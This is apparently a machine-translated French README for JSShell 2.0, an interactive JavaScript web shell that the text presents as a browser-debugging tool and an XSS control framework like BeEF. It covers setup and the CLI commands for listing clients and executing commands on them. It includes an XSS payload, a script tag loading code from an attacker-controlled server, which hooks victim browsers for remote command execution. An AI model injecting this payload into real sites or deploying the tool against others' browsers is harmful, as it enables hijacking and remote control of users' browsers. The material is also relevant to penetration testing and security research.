Un shell JavaScript Web multi-utilisateur interactif. Il a été initialement créé afin de déboguer les navigateurs ésotériques distants pendant les expériences et la recherche. Cet outil peut être facilement attaché à la charge utile XSS (script de site croisé) pour réaliser l'exécution du code distant du navigateur (similaire au cadre de bœuf).
La version 2.0 est entièrement créée à partir de zéro, introduisant de nouvelles fonctionnalités, stabilité et maintenabilité passionnantes.
Daniel Abeles.
<script> Tags Dans le répertoire resources , mettez à jour le fichier config.json avec votre configuration souhaitée:
docker , choisissez l'hôte de la base de données en tant que db (qui est le nom d'hôte interne).shell.js fait des appels ajax pour s'inscrire et sonder pour les nouvelles commandes. Habituellement, ce sera http[s]://{YOUR_SERVER_IP}:{PORT} . Maintenant, JSShell prend en charge TLS, ce qui signifie que vous pouvez désormais générer des certificats TLS et les alimenter sur le serveur Web. Le serveur Web déduire le nom de domaine du fichier config.json . Afin de créer le certificat, utilisez le script create_cert.py dans le dossier scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > Veuillez noter que le serveur Web doit être en panne pour que le script fonctionne correctement. À ce stade, nous avons réussi à générer nos certificats! Les seuls modifications que nous devons faire sont:
config.json , modifiez le schéma du champ URL en https .docker-compose.yml modifiez le port exposé du conteneur web en 443 . Cette nouvelle version prend en charge l'installation et l'exécution de JSShell via docker et docker-compose . Maintenant, pour installer et exécuter l'intégralité du framework JSShell, exécutez simplement:
$ ./scripts/start_docker_shell.shCe sera:
JSShell Si vous souhaitez toujours utiliser la méthode de l'installation à l'ancienne, assurez-vous simplement d'avoir une base de données MongoDB opérationnelle et mettez à jour le fichier config.json résidant dans le répertoire resources .
Je recommande d'utiliser un environnement virtuel avec pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv Ou en utilisant virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateEnsuite, installez les exigences:
$ pip install -r requirements.txt Si vous avez utilisé la méthode docker , il n'est pas nécessaire d'exécuter la procédure suivante.
Sinon, une fois que nous aurons la configuration de la base de données, nous devons démarrer le serveur API Web. À faire, courir:
$ python manage.py webCela créera et exécutera un serveur Web qui écoute des connexions entrantes et sert notre code JSShell.
Maintenant, pour démarrer la CLI JSShell, exécutez le même script mais maintenant avec le drapeau shell :
$ python manage.py shell Après la configuration et l'exécution des composants requis, entrez la commande help pour voir les commandes disponibles:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell prend en charge 2 méthodes de fonctionnement:
Semblable aux autres cadres de contrôle XSS (comme le bœuf), JSShell est capable de gérer des exploitations XSS réussies. Dans l'exemple, si vous pouvez injecter une balise script , injectez la ressource suivante à votre charge utile et un nouveau client apparaîtra dans votre console:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Si vous souhaitez déboguer les navigateurs exotiques et ésotériques, vous pouvez simplement accéder à http[s]://{YOUR_SERVER_IP}:{PORT}/ et un nouveau client apparaîtra dans votre client JSShell CLI. Maintenant, il est débordant via notre console JSShell.
Canop pour json.prune